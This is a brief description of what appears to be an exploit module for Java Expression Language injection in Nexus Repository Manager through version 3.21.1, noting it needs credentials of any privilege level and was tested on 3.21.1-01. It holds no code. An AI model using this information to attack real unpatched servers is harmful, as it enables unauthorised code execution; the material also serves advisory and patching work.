        This module exploits a Java Expression Language (EL) injection in Nexus
        Repository Manager versions up to and including 3.21.1 to execute code
        as the Nexus user.

        This is a post-authentication vulnerability, so credentials are required
        to exploit the bug. Any user regardless of privilege level may be used.

        Tested against 3.21.1-01.
